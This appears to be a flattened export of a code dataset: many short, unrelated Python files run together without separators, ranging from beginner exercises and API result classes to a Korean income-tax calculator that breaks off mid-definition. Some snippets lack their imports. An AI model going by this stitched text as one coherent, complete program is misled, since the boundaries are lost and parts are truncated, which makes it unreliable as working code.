content
stringlengths
7
1.05M
class Agent(object): def __init__(self, id): self.id = id def act(self, state): raise NotImplementedError() def transition(self, state, actions, new_state, reward): pass
n = int(input()) arr = [list(map(int,input().split())) for i in range(n)] ans = [0]*n ans[0] = int(pow((arr[0][1]*arr[0][2])//arr[1][2], 0.5)) for i in range(1,n): ans[i]=(arr[0][i]//ans[0]) print(*ans)
class Relaxation: def __init__(self): self.predecessors = {} def buildPath(self, graph, node_from, node_to): nodes = [] current = node_to while current != node_from: if self.predecessors[current] == current and current != node_from: return None nodes.append(current) current = self.predecessors[current] nodes.append(node_from) nodes.reverse() return nodes
# Escreva um script Python que leia um vetor A de 10 elementos inteiros e um valor qualquer inteiro X. Em seguida, realize uma busca no arranjo a fim de verificar se o valor X existe no imprima na tela "ACHEI" se o valor X existir em A e "NAO ACHEI" caso contrário. listNumbers = [] for i in range(10): n = int(input(f"Informe o elemento {i} para a lista: ")) listNumbers.append(n) search = int(input("Qual item queres verificar se está incluso na lista? ")) count = 0 for i in range(len(listNumbers)): if listNumbers[i] == search: print(f"Achei! Está na posição {i} da lista.") else: count+=1 if count == len(listNumbers): print("Não achei na lista!")
#Exercício Python 14: # Escreva um programa que converta uma temperatura digitando em graus Celsius e converta para graus Fahrenheit. print('__________________________________') print(' CONVERSOR DE TEMPERATURA ') print('__________________________________') print(''' [1] Celsius para Fahrenheit [2] Celsius para Kelvin [3] Fahrenheit para Celsius [4] Fahrenheit para Kelvin [5] Kelvin para Celsius [6] Kelvin para Fahrenheit ''') opcao = int(input('Digite sua opção:')) temp = float(input('Digite o valor a ser convertido:')) print() # Celsius para Fahrenheit if opcao == 1: fah = ((temp * 9) / 5) + 32 print(f'A temperatura de {temp} Celsius corresponde a {fah} Fahrenheit') # Celsius para Kelvin elif opcao == 2: kel = (temp + 273.15) print(f'A temperatura de {temp} Celsius corresponde a {kel} Kelvin') # Fahrenheit para Celsius elif opcao == 3: cel = (((temp - 32) * 5) / 9) print(f'A temperatura de {temp} Fahrenheit corresponde a {cel:.2f} Celsius') # Fahrenheit para Kelvin elif opcao == 4: kel = (((temp - 32) * 5 )/9+273.15) print(f'A temperatura de {temp} Fahrenheit corresponde a {kel:.2f} Kelvin') # Kelvin para Celsius elif opcao == 5: cel = (temp - 273.15) print(f'A temperatura de {temp} Kelvin corresponde a {cel:.2f} Celsius ') # Kelvin para Fahrenheit elif opcao == 6: fah = ((temp - 273.15 ) * 9)/5 + 32 print(f'A temperatura de {temp} Kelvin corresponde a {fah:.2f} Fahrenheit ')
''' It is also possible to construct a DataFrame with hierarchically indexed columns. For this exercise, you'll start with pandas imported and a list of three DataFrames called dataframes. All three DataFrames contain 'Company', 'Product', and 'Units' columns with a 'Date' column as the index pertaining to sales transactions during the month of February, 2015. The first DataFrame describes Hardware transactions, the second describes Software transactions, and the third, Service transactions. Your task is to concatenate the DataFrames horizontally and to create a MultiIndex on the columns. From there, you can summarize the resulting DataFrame and slice some information from it. ''' # Concatenate dataframes: february february = pd.concat(dataframes, axis=1, keys=['Hardware', 'Software', 'Service']) # Print february.info() print(february.info()) # Assign pd.IndexSlice: idx idx = pd.IndexSlice # Create the slice: slice_2_8 slice_2_8 = february.loc['Feb. 2, 2015':'Feb. 8, 2015', idx[:, 'Company']] # Print slice_2_8 print(slice_2_8)
"""Top-level package for Python Boilerplate.""" __author__ = """Mathanraj Sharma""" __email__ = "rvmmathanraj@gmail.com" __version__ = "0.1.0"
""" namecom: result_models.py Defines response result models for the api. Tianhong Chu [https://github.com/CtheSky] License: MIT """ class RequestResult(object): """Base class for Response class. Attributes ---------- resp : http response from requests.Response status_code : int http status code headers : MutableMapping) http response headers from requests.Response """ def __init__(self, resp): self.resp = resp self.status_code = resp.status_code self.headers = resp.headers class ListRecordsResult(RequestResult): """Response class for ListRecords method. Attributes ---------- records : [] :class:`~namecom.Record` list of Records nextPage : int NextPage is the identifier for the next page of results. It is only populated if there is another page of results after the current page. lastPage : int LastPage is the identifier for the final page of results. It is only populated if there is another page of results after the current page. """ def __init__(self, resp): super(ListRecordsResult, self).__init__(resp) self.records = [] self.nextPage = None self.lastPage = None class GetRecordResult(RequestResult): """Response class for GetRecord method. Attributes ---------- record : :class:`~namecom.Record` instance of Record """ def __init__(self, resp): super(GetRecordResult, self).__init__(resp) self.record = None class CreateRecordResult(RequestResult): """Response class for CreateRecord method. Attributes ---------- record : :class:`~namecom.Record` instance of Record """ def __init__(self, resp): super(CreateRecordResult, self).__init__(resp) self.record = None class UpdateRecordResult(RequestResult): """Response class for UpdateRecord method. Attributes ---------- record : :class:`~namecom.Record` instance of Record """ def __init__(self, resp): super(UpdateRecordResult, self).__init__(resp) self.record = None class DeleteRecordResult(RequestResult): """Response class for DeleteRecord method.""" class ListDnssecsResult(RequestResult): """Response class for ListDnssecs method. Attributes ---------- dnssecs : [] :class:`~namecom.DNSSEC` list of DNSSEC nextPage : int NextPage is the identifier for the next page of results. It is only populated if there is another page of results after the current page. lastPage : int LastPage is the identifier for the final page of results. It is only populated if there is another page of results after the current page. """ def __init__(self, resp): super(ListDnssecsResult, self).__init__(resp) self.dnssecs = [] self.nextPage = None self.lastPage = None class GetDnssecResult(RequestResult): """Response class for GetDnssec method. Attributes ---------- dnssec : :class:`~namecom.DNSSEC` instance of DNSSEC """ def __init__(self, resp): super(GetDnssecResult, self).__init__(resp) self.dnssec = None class CreateDnssecResult(RequestResult): """Response class for CreateDnssec method. Attributes ---------- dnssec : :class:`~namecom.DNSSEC` instance of DNSSEC """ def __init__(self, resp): super(CreateDnssecResult, self).__init__(resp) self.dnssec = None class DeleteDnssecResult(RequestResult): """Response class for DeleteDnssec method.""" class ListDomainsResult(RequestResult): """Response class for ListDomains method. Attributes ---------- domains : [] :class:`~namecom.Domain` list of Domains nextPage : int NextPage is the identifier for the next page of results. It is only populated if there is another page of results after the current page. lastPage : int LastPage is the identifier for the final page of results. It is only populated if there is another page of results after the current page. """ def __init__(self, resp): super(ListDomainsResult, self).__init__(resp) self.domains = [] self.nextPage = None self.lastPage = None class GetDomainResult(RequestResult): """Response class for GetDomain method. Attributes ---------- domain : :class:`~namecom.Domain` instance of Domain """ def __init__(self, resp): super(GetDomainResult, self).__init__(resp) self.domain = None class SearchResult(RequestResult): """Response class for Search method. Attributes ---------- results : [] :class:`~namecom.DomainSearchResult` instance of DomainSearchResult """ def __init__(self, resp): super(SearchResult, self).__init__(resp) self.results = [] class CreateDomainResult(RequestResult): """Response class for CreateDomain method. Attributes ---------- domain : :class:`~namecom.Domain` instance of Domain order : int Order is an identifier for this purchase. totalPaid : float TotalPaid is the total amount paid """ def __init__(self, resp): super(CreateDomainResult, self).__init__(resp) self.domain = None self.order = None self.totalPaid = None class EnableAutorenewResult(RequestResult): """Response class for EnableAutorenew method. Attributes ---------- domain : :class:`~namecom.Domain` instance of Domain """ def __init__(self, resp): super(EnableAutorenewResult, self).__init__(resp) self.domain = None class DisableAutorenewResult(RequestResult): """Response class for DisableAutorenew method. Attributes ---------- domain : :class:`~namecom.Domain` instance of Domain """ def __init__(self, resp): super(DisableAutorenewResult, self).__init__(resp) self.domain = None class SetNameserversResult(RequestResult): """Response class for SetNameservers method. Attributes ---------- domain : :class:`~namecom.Domain` instance of Domain """ def __init__(self, resp): super(SetNameserversResult, self).__init__(resp) self.domain = None class SetContactsResult(RequestResult): """Response class for SetContacts method. Attributes ---------- domain : :class:`~namecom.Domain` instance of Domain """ def __init__(self, resp): super(SetContactsResult, self).__init__(resp) self.domain = None class RenewDomainResult(RequestResult): """Response class for RenewDomain method. Attributes ---------- domain : :class:`~namecom.Domain` instance of Domain order : int Order is an identifier for this purchase. totalPaid : float TotalPaid is the total amount paid """ def __init__(self, resp): super(RenewDomainResult, self).__init__(resp) self.domain = None self.order = None self.totalPaid = None class PurchasePrivacyResult(RequestResult): """Response class for PurchasePrivacy method. Attributes ---------- domain : :class:`~namecom.Domain` instance of Domain order : int Order is an identifier for this purchase. totalPaid : float TotalPaid is the total amount paid """ def __init__(self, resp): super(PurchasePrivacyResult, self).__init__(resp) self.domain = None self.order = None self.totalPaid = None class GetAuthCodeForDomainResult(RequestResult): """Response class for GetAuthCodeForDomain method. Attributes ---------- authCode : str AuthCode is the authorization code needed to transfer a domain to another registrar """ def __init__(self, resp): super(GetAuthCodeForDomainResult, self).__init__(resp) self.authCode = None class LockDomainResult(RequestResult): """Response class for LockDomain method. Attributes ---------- domain : :class:`~namecom.Domain` instance of Domain """ def __init__(self, resp): super(LockDomainResult, self).__init__(resp) self.domain = None class UnlockDomainResult(RequestResult): """Response class for UnlockDomain method. Attributes ---------- domain : :class:`~namecom.Domain` instance of Domain """ def __init__(self, resp): super(UnlockDomainResult, self).__init__(resp) self.domain = None class CheckAvailabilityResult(RequestResult): """Response class for CheckAvailability method. Attributes ---------- results : [] :class:`~namecom.DomainSearchResult` instance of DomainSearchResult """ def __init__(self, resp): super(CheckAvailabilityResult, self).__init__(resp) self.results = [] class SearchStreamResult(RequestResult): """Response class for SearchStream method. Attributes ---------- results : [] :class:`~namecom.DomainSearchResult` a generator yielding of DomainSearchResult """ def __init__(self, resp): super(SearchStreamResult, self).__init__(resp) self.results = [] class ListEmailForwardingsResult(RequestResult): """Response class for ListEmailForwardings method. Attributes ---------- email_forwardings : [] :class:`~namecom.EmailForwarding` list of EmailForwarding nextPage : int NextPage is the identifier for the next page of results. It is only populated if there is another page of results after the current page. lastPage : int LastPage is the identifier for the final page of results. It is only populated if there is another page of results after the current page. """ def __init__(self, resp): super(ListEmailForwardingsResult, self).__init__(resp) self.email_forwardings = [] self.nextPage = None self.lastPage = None class GetEmailForwardingResult(RequestResult): """Response class for GetEmailForwarding method. Attributes ---------- email_forwarding : :class:`~namecom.EmailForwarding` instance of EmailForwarding """ def __init__(self, resp): super(GetEmailForwardingResult, self).__init__(resp) self.email_forwarding = None class CreateEmailForwardingResult(RequestResult): """Response class for CreateEmailForwarding method. Attributes ---------- email_forwarding : :class:`~namecom.EmailForwarding` instance of EmailForwarding """ def __init__(self, resp): super(CreateEmailForwardingResult, self).__init__(resp) self.email_forwarding = None class UpdateEmailForwardingResult(RequestResult): """Response class for UpdateEmailForwarding method. Attributes ---------- email_forwarding : :class:`~namecom.EmailForwarding` instance of EmailForwarding """ def __init__(self, resp): super(UpdateEmailForwardingResult, self).__init__(resp) self.email_forwarding = None class DeleteEmailForwardingResult(RequestResult): """Response class for DeleteEmailForwarding method.""" class ListTransfersResult(RequestResult): """Response class for ListTransfers method. Attributes ---------- transfers : [] :class:`~namecom.Transfer` list of Transfer nextPage : int NextPage is the identifier for the next page of results. It is only populated if there is another page of results after the current page. lastPage : int LastPage is the identifier for the final page of results. It is only populated if there is another page of results after the current page. """ def __init__(self, resp): super(ListTransfersResult, self).__init__(resp) self.transfers = [] self.nextPage = None self.lastPage = None class GetTransferResult(RequestResult): """Response class for GetTransfer method. Attributes ---------- transfer : :class:`~namecom.Transfer` instance of Transfer """ def __init__(self, resp): super(GetTransferResult, self).__init__(resp) self.transfer = None class CreateTransferResult(RequestResult): """Response class for CreateTransfer method. Attributes ---------- transfer : :class:`~namecom.Transfer` instance of Transfer order : int Order is an identifier for this purchase. totalPaid : float TotalPaid is the total amount paid """ def __init__(self, resp): super(CreateTransferResult, self).__init__(resp) self.transfer = None self.order = None self.totalPaid = None class CancelTransferResult(RequestResult): """Response class for CancelTransfer method. Attributes ---------- transfer : :class:`~namecom.Transfer` instance of Transfer """ def __init__(self, resp): super(CancelTransferResult, self).__init__(resp) self.transfer = None class ListURLForwardingsResult(RequestResult): """Response class for ListURLForwardins method. Attributes ---------- url_forwardings : [] :class:`~namecom.URLForwarding` list of URLForwarding nextPage : int NextPage is the identifier for the next page of results. It is only populated if there is another page of results after the current page. lastPage : int LastPage is the identifier for the final page of results. It is only populated if there is another page of results after the current page. """ def __init__(self, resp): super(ListURLForwardingsResult, self).__init__(resp) self.url_forwardings = [] self.nextPage = None self.lastPage = None class GetURLForwardingResult(RequestResult): """Response class for GetURLForwarding method. Attributes ---------- url_forwarding : :class:`~namecom.URLForwarding` instance of URLForwarding """ def __init__(self, resp): super(GetURLForwardingResult, self).__init__(resp) self.url_forwarding = None class CreateURLForwardingResult(RequestResult): """Response class for CreateURLForwarding method. Attributes ---------- url_forwarding : :class:`~namecom.URLForwarding` instance of URLForwarding """ def __init__(self, resp): super(CreateURLForwardingResult, self).__init__(resp) self.url_forwarding = None class UpdateURLForwardingResult(RequestResult): """Response class for UpdateURLForwarding method. Attributes ---------- url_forwarding : :class:`~namecom.URLForwarding` instance of URLForwarding """ def __init__(self, resp): super(UpdateURLForwardingResult, self).__init__(resp) self.url_forwarding = None class DeleteURLForwardingResult(RequestResult): """Response class for DeleteURLForwarding method.""" class ListVanityNameserversResult(RequestResult): """Response class for ListVanityNameservers method. Attributes ---------- vanityNameservers : [] :class:`~namecom.VanityNameserver` list of VanityNameserver nextPage : int NextPage is the identifier for the next page of results. It is only populated if there is another page of results after the current page. lastPage : int LastPage is the identifier for the final page of results. It is only populated if there is another page of results after the current page. """ def __init__(self, resp): super(ListVanityNameserversResult, self).__init__(resp) self.vanityNameservers = [] self.nextPage = None self.lastPage = None class GetVanityNameserverResult(RequestResult): """Response class for GetVanityNameserver method. Attributes ---------- vanityNameserver : :class:`~namecom.VanityNameserver` instance of VanityNameserver """ def __init__(self, resp): super(GetVanityNameserverResult, self).__init__(resp) self.vanityNameserver = None class CreateVanityNameserverResult(RequestResult): """Response class for CreateVanityNameserver method. Attributes ---------- vanityNameserver : :class:`~namecom.VanityNameserver` instance of VanityNameserver """ def __init__(self, resp): super(CreateVanityNameserverResult, self).__init__(resp) self.vanityNameserver = None class UpdateVanityNameserverResult(RequestResult): """Response class for UpdateVanityNameserver method. Attributes ---------- vanityNameserver : :class:`~namecom.VanityNameserver` instance of VanityNameserver """ def __init__(self, resp): super(UpdateVanityNameserverResult, self).__init__(resp) self.vanityNameserver = None class DeleteVanityNameserverResult(RequestResult): """Response class for DeleteVanityNameserver method."""
""" Exceptions used by the impact estimation program """ class RecipeCreationError(Exception): pass class SolverTimeoutError(Exception): pass class NoKnownIngredientsError(Exception): pass class NoCharacterizedIngredientsError(Exception): pass
# Copyright 2015 Google Inc. All rights reserved. # # Use of this source code is governed by a BSD-style # license that can be found in the LICENSE file or at # https://developers.google.com/open-source/licenses/bsd { 'includes': [ ], 'targets': [ { 'target_name': 'mkvmuxer', 'type': 'static_library', 'sources': [ 'src/mkvmuxer.cpp', 'src/mkvmuxer.hpp', 'src/mkvmuxerutil.cpp', 'src/mkvmuxerutil.hpp', 'src/mkvwriter.cpp', 'src/mkvwriter.hpp', ], }, ], }
# -*- coding: utf-8 -*- """ First paragraph of docs. .. wikisection:: faq :title: Why? Well... Second paragraph of docs. """
class Address(object): def __init__(self,addr): self.addr=addr @classmethod def fromhex(cls,addr): return cls(bytes.fromhex(addr)) def equal(self,other): if not isinstance(other, Address): raise Exception('peer is not an address') if not len(self.addr) == len(other.addr): raise Exception('address lenght mismatch') for i in range(len(self.addr)): if not self.addr[i] == other.addr[i]: return False return True def string(self): return self.addr.hex() MaxPO=16 def prox(one,other): b = int(MaxPO/8) + 1 m = 8 for i in range(b): oxo = one[i] ^ other[i] for j in range(m): if oxo>>(7-j)&0x01 != 0 : return i*8 + j return MaxPO
# job_list_one_shot.py --- # # Filename: job_list_one_shot.py # Author: Abhishek Udupa # Created: Tue Jan 26 15:13:19 2016 (-0500) # # # Copyright (c) 2015, Abhishek Udupa, University of Pennsylvania # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # 1. Redistributions of source code must retain the above copyright # notice, this list of conditions and the following disclaimer. # 2. Redistributions in binary form must reproduce the above copyright # notice, this list of conditions and the following disclaimer in the # documentation and/or other materials provided with the distribution. # 3. All advertising materials mentioning features or use of this software # must display the following acknowledgement: # This product includes software developed by The University of Pennsylvania # 4. Neither the name of the University of Pennsylvania nor the # names of its contributors may be used to endorse or promote products # derived from this software without specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDER ''AS IS'' AND ANY # EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED # WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE # DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER BE LIABLE FOR ANY # DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES # (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; # LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND # ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT # (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS # SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. # # # Code: [ (['python3', 'solvers.py', '3600', 'icfp', '../benchmarks/icfp/icfp_103_10.sl'], 'icfp_103_10-one-shot', 'icfp_103_10-one-shot'), (['python3', 'solvers.py', '3600', 'icfp', '../benchmarks/icfp/icfp_113_1000.sl'], 'icfp_113_1000-one-shot', 'icfp_113_1000-one-shot'), (['python3', 'solvers.py', '3600', 'icfp', '../benchmarks/icfp/icfp_125_10.sl'], 'icfp_125_10-one-shot', 'icfp_125_10-one-shot'), (['python3', 'solvers.py', '3600', 'icfp', '../benchmarks/icfp/icfp_14_1000.sl'], 'icfp_14_1000-one-shot', 'icfp_14_1000-one-shot'), (['python3', 'solvers.py', '3600', 'icfp', '../benchmarks/icfp/icfp_147_1000.sl'], 'icfp_147_1000-one-shot', 'icfp_147_1000-one-shot'), (['python3', 'solvers.py', '3600', 'icfp', '../benchmarks/icfp/icfp_28_10.sl'], 'icfp_28_10-one-shot', 'icfp_28_10-one-shot'), (['python3', 'solvers.py', '3600', 'icfp', '../benchmarks/icfp/icfp_39_100.sl'], 'icfp_39_100-one-shot', 'icfp_39_100-one-shot'), (['python3', 'solvers.py', '3600', 'icfp', '../benchmarks/icfp/icfp_51_10.sl'], 'icfp_51_10-one-shot', 'icfp_51_10-one-shot'), (['python3', 'solvers.py', '3600', 'icfp', '../benchmarks/icfp/icfp_68_1000.sl'], 'icfp_68_1000-one-shot', 'icfp_68_1000-one-shot'), (['python3', 'solvers.py', '3600', 'icfp', '../benchmarks/icfp/icfp_72_10.sl'], 'icfp_72_10-one-shot', 'icfp_72_10-one-shot'), (['python3', 'solvers.py', '3600', 'icfp', '../benchmarks/icfp/icfp_82_10.sl'], 'icfp_82_10-one-shot', 'icfp_82_10-one-shot'), (['python3', 'solvers.py', '3600', 'icfp', '../benchmarks/icfp/icfp_94_1000.sl'], 'icfp_94_1000-one-shot', 'icfp_94_1000-one-shot'), (['python3', 'solvers.py', '3600', 'icfp', '../benchmarks/icfp/icfp_96_10.sl'], 'icfp_96_10-one-shot', 'icfp_96_10-one-shot'), (['python3', 'solvers.py', '3600', 'icfp', '../benchmarks/icfp/icfp_104_10.sl'], 'icfp_104_10-one-shot', 'icfp_104_10-one-shot'), (['python3', 'solvers.py', '3600', 'icfp', '../benchmarks/icfp/icfp_114_100.sl'], 'icfp_114_100-one-shot', 'icfp_114_100-one-shot'), (['python3', 'solvers.py', '3600', 'icfp', '../benchmarks/icfp/icfp_134_1000.sl'], 'icfp_134_1000-one-shot', 'icfp_134_1000-one-shot'), (['python3', 'solvers.py', '3600', 'icfp', '../benchmarks/icfp/icfp_143_1000.sl'], 'icfp_143_1000-one-shot', 'icfp_143_1000-one-shot'), (['python3', 'solvers.py', '3600', 'icfp', '../benchmarks/icfp/icfp_150_10.sl'], 'icfp_150_10-one-shot', 'icfp_150_10-one-shot'), (['python3', 'solvers.py', '3600', 'icfp', '../benchmarks/icfp/icfp_30_10.sl'], 'icfp_30_10-one-shot', 'icfp_30_10-one-shot'), (['python3', 'solvers.py', '3600', 'icfp', '../benchmarks/icfp/icfp_45_1000.sl'], 'icfp_45_1000-one-shot', 'icfp_45_1000-one-shot'), (['python3', 'solvers.py', '3600', 'icfp', '../benchmarks/icfp/icfp_54_1000.sl'], 'icfp_54_1000-one-shot', 'icfp_54_1000-one-shot'), (['python3', 'solvers.py', '3600', 'icfp', '../benchmarks/icfp/icfp_69_10.sl'], 'icfp_69_10-one-shot', 'icfp_69_10-one-shot'), (['python3', 'solvers.py', '3600', 'icfp', '../benchmarks/icfp/icfp_73_10.sl'], 'icfp_73_10-one-shot', 'icfp_73_10-one-shot'), (['python3', 'solvers.py', '3600', 'icfp', '../benchmarks/icfp/icfp_87_10.sl'], 'icfp_87_10-one-shot', 'icfp_87_10-one-shot'), (['python3', 'solvers.py', '3600', 'icfp', '../benchmarks/icfp/icfp_94_100.sl'], 'icfp_94_100-one-shot', 'icfp_94_100-one-shot'), (['python3', 'solvers.py', '3600', 'icfp', '../benchmarks/icfp/icfp_99_100.sl'], 'icfp_99_100-one-shot', 'icfp_99_100-one-shot'), (['python3', 'solvers.py', '3600', 'icfp', '../benchmarks/icfp/icfp_105_1000.sl'], 'icfp_105_1000-one-shot', 'icfp_105_1000-one-shot'), (['python3', 'solvers.py', '3600', 'icfp', '../benchmarks/icfp/icfp_118_100.sl'], 'icfp_118_100-one-shot', 'icfp_118_100-one-shot'), (['python3', 'solvers.py', '3600', 'icfp', '../benchmarks/icfp/icfp_135_100.sl'], 'icfp_135_100-one-shot', 'icfp_135_100-one-shot'), (['python3', 'solvers.py', '3600', 'icfp', '../benchmarks/icfp/icfp_144_1000.sl'], 'icfp_144_1000-one-shot', 'icfp_144_1000-one-shot'), (['python3', 'solvers.py', '3600', 'icfp', '../benchmarks/icfp/icfp_21_1000.sl'], 'icfp_21_1000-one-shot', 'icfp_21_1000-one-shot'), (['python3', 'solvers.py', '3600', 'icfp', '../benchmarks/icfp/icfp_32_10.sl'], 'icfp_32_10-one-shot', 'icfp_32_10-one-shot'), (['python3', 'solvers.py', '3600', 'icfp', '../benchmarks/icfp/icfp_45_10.sl'], 'icfp_45_10-one-shot', 'icfp_45_10-one-shot'), (['python3', 'solvers.py', '3600', 'icfp', '../benchmarks/icfp/icfp_56_1000.sl'], 'icfp_56_1000-one-shot', 'icfp_56_1000-one-shot'), (['python3', 'solvers.py', '3600', 'icfp', '../benchmarks/icfp/icfp_7_1000.sl'], 'icfp_7_1000-one-shot', 'icfp_7_1000-one-shot'), (['python3', 'solvers.py', '3600', 'icfp', '../benchmarks/icfp/icfp_81_1000.sl'], 'icfp_81_1000-one-shot', 'icfp_81_1000-one-shot'), (['python3', 'solvers.py', '3600', 'icfp', '../benchmarks/icfp/icfp_9_1000.sl'], 'icfp_9_1000-one-shot', 'icfp_9_1000-one-shot'), (['python3', 'solvers.py', '3600', 'icfp', '../benchmarks/icfp/icfp_95_100.sl'], 'icfp_95_100-one-shot', 'icfp_95_100-one-shot'), (['python3', 'solvers.py', '3600', 'icfp', '../benchmarks/icfp/icfp_105_100.sl'], 'icfp_105_100-one-shot', 'icfp_105_100-one-shot'), (['python3', 'solvers.py', '3600', 'icfp', '../benchmarks/icfp/icfp_118_10.sl'], 'icfp_118_10-one-shot', 'icfp_118_10-one-shot'), (['python3', 'solvers.py', '3600', 'icfp', '../benchmarks/icfp/icfp_139_10.sl'], 'icfp_139_10-one-shot', 'icfp_139_10-one-shot'), (['python3', 'solvers.py', '3600', 'icfp', '../benchmarks/icfp/icfp_144_100.sl'], 'icfp_144_100-one-shot', 'icfp_144_100-one-shot'), (['python3', 'solvers.py', '3600', 'icfp', '../benchmarks/icfp/icfp_25_1000.sl'], 'icfp_25_1000-one-shot', 'icfp_25_1000-one-shot'), (['python3', 'solvers.py', '3600', 'icfp', '../benchmarks/icfp/icfp_38_10.sl'], 'icfp_38_10-one-shot', 'icfp_38_10-one-shot'), (['python3', 'solvers.py', '3600', 'icfp', '../benchmarks/icfp/icfp_5_1000.sl'], 'icfp_5_1000-one-shot', 'icfp_5_1000-one-shot'), (['python3', 'solvers.py', '3600', 'icfp', '../benchmarks/icfp/icfp_64_10.sl'], 'icfp_64_10-one-shot', 'icfp_64_10-one-shot'), (['python3', 'solvers.py', '3600', 'icfp', '../benchmarks/icfp/icfp_7_10.sl'], 'icfp_7_10-one-shot', 'icfp_7_10-one-shot'), (['python3', 'solvers.py', '3600', 'icfp', '../benchmarks/icfp/icfp_82_100.sl'], 'icfp_82_100-one-shot', 'icfp_82_100-one-shot'), (['python3', 'solvers.py', '3600', 'icfp', '../benchmarks/icfp/icfp_93_1000.sl'], 'icfp_93_1000-one-shot', 'icfp_93_1000-one-shot'), (['python3', 'solvers.py', '3600', 'icfp', '../benchmarks/icfp/icfp_96_1000.sl'], 'icfp_96_1000-one-shot', 'icfp_96_1000-one-shot') ] # # job_list_one_shot.py ends here
class OnlyStaffMixin(object): def dispatch(self, request, *args, **kwargs): if not request.user.is_staff: messages.error(request, "Only Staff members can do this.") try: return HttpResponseRedirect(request.META['HTTP_REFERER']) except KeyError: return HttpResponseRedirect('/') return super(OnlyStaffMixin, self).dispatch(request, *args, **kwargs)
def plant_recommendation(care): if care == 'low': print('aloe') elif care == 'medium': print('pothos') elif care == 'high': print('orchid') plant_recommendation('low') plant_recommendation('medium') plant_recommendation('high')
MANWON = 10000 CHONWON = 1000 def median_income_section(pay): str_pay = str(int(pay/10000)) median = 0 if pay < 1060*CHONWON: median = 0 elif pay < 1500*CHONWON: if int(int(str_pay)/5) == 0: median = float(str_pay+"25") else: median = float(str_pay+"75") median = median * 100 elif pay < 3000*CHONWON: median = float(str_pay+"5") median = median * 1000 elif pay < 10000*CHONWON: point = int(str_pay)%20 if point == 0 or point == 1: median = float(str_pay[0:2]+"1") elif point == 2 or point == 3: median = float(str_pay[0:2]+"3") elif point == 4 or point == 5: median = float(str_pay[0:2]+"5") elif point == 6 or point == 7: median = float(str_pay[0:2]+"7") elif point == 8 or point == 9: median = float(str_pay[0:2]+"9") median = median * 10000 else: median = pay return median #월급여액: 소득구간의 중간값 def calc_total_monthly_income(income): median = median_income_section(income) return median #연간 총 급여액 def calc_total_annual_income(income): temp = income / 12 median = median_income_section(temp) return median * 12 #근로소득공제 def calc_earned_income_deduction(salary): if salary <= 500*MANWON: amount_deducted = salary * 0.7 elif salary <= 1500*MANWON: amount_deducted = 350*MANWON + ((salary-500*MANWON) * 0.4) elif salary <= 4500*MANWON: amount_deducted = 750*MANWON + ((salary-1500*MANWON) * 0.15) elif salary <= 10000*MANWON: amount_deducted = 1200*MANWON + ((salary-4500*MANWON) * 0.05) elif salary > 10000*MANWON: amount_deducted = 1475*MANWON + ((salary-10000*MANWON) * 0.02) return amount_deducted #근로소득금액 def calc_earned_income_amount(salary, amount_deducted): earned_income_amount = salary - amount_deducted return earned_income_amount; #인적공제 def calc_personal_allowance(number_of_people=1, number_of_less_than_twenty=0): return (number_of_people+number_of_less_than_twenty) * 150*MANWON #국민연금 월 보험료 def calc_national_pension(monthly_salary): trimmed_salary = monthly_salary - (monthly_salary % 1000) pension_share = trimmed_salary*0.045 return pension_share - pension_share % 10 #연금보험료공제 def calc_annuity_insurance_deduction(salary): monthly_salary = salary/12 annuity_insurance_amount = calc_national_pension(monthly_salary) * 12 if monthly_salary <= 30*MANWON: annuity_insurance_amount = 15.66*MANWON elif monthly_salary >= 448*MANWON: annuity_insurance_amount = 242.46*MANWON return annuity_insurance_amount #특별소득공제 def special_exemption_one(salary): if salary <= 3000*MANWON: return 310*MANWON + salary*0.04 elif salary <= 4500*MANWON: return 310*MANWON + (salary*0.04) - ((salary-3000*MANWON) * 0.05) elif salary <= 7000*MANWON: return 310*MANWON + (salary*0.015) elif salary <= 12000*MANWON: return 310*MANWON + (salary*0.005) def special_exemption_two(salary): if salary <= 3000*MANWON: return 360*MANWON + salary*0.04 elif salary <= 4500*MANWON: return 360*MANWON + (salary*0.04) - ((salary-3000*MANWON) * 0.05) elif salary <= 7000*MANWON: return 360*MANWON + (salary*0.02) elif salary <= 12000*MANWON: return 360*MANWON + (salary*0.01) def special_exemption_multiple(salary): additional_exemption = (salary - 4000*MANWON) * 0.04 if salary <= 3000*MANWON: return 500*MANWON + salary*0.07 + additional_exemption elif salary <= 4500*MANWON: return 500*MANWON + (salary*0.07) - ((salary-3000*MANWON) * 0.05) + additional_exemption elif salary <= 7000*MANWON: return 500*MANWON + (salary*0.05) + additional_exemption elif salary <= 12000*MANWON: return 500*MANWON + (salary*0.03) + additional_exemption def calc_special_income_deduction(salary, number_of_people = 1): if number_of_people == 1: return special_exemption_one(salary) elif number_of_people == 2: return special_exemption_two(salary) elif number_of_people >= 3: return special_exemption_multiple(salary) #과세표준 def calc_tax_base(earned_income, personal_allowance, annuity_insurance, special_exemption): return earned_income - personal_allowance - annuity_insurance - special_exemption #산출세액 def calc_tax_assessment(tax_base): temp_tax_base = 0 if tax_base <= 1200*MANWON: temp_tax_base = tax_base*0.06 elif tax_base <= 4600*MANWON: temp_tax_base = 72*MANWON + (tax_base - 1200*MANWON)*0.15 elif tax_base <= 8800*MANWON: temp_tax_base = 582*MANWON + (tax_base - 4600*MANWON)*0.24 elif tax_base <= 15000*MANWON: temp_tax_base = 1590*MANWON + (tax_base - 8800*MANWON)*0.35 elif tax_base <= 30000*MANWON: temp_tax_base = 3760*MANWON + (tax_base - 15000*MANWON)*0.38 elif tax_base <= 50000*MANWON: temp_tax_base = 9460*MANWON + (tax_base - 30000*MANWON)*0.4 elif tax_base > 50000*MANWON: temp_tax_base = 17460*MANWON + (tax_base - 50000*MANWON)*0.42 return temp_tax_base - temp_tax_base % 10 #근로소득 세액공제 def 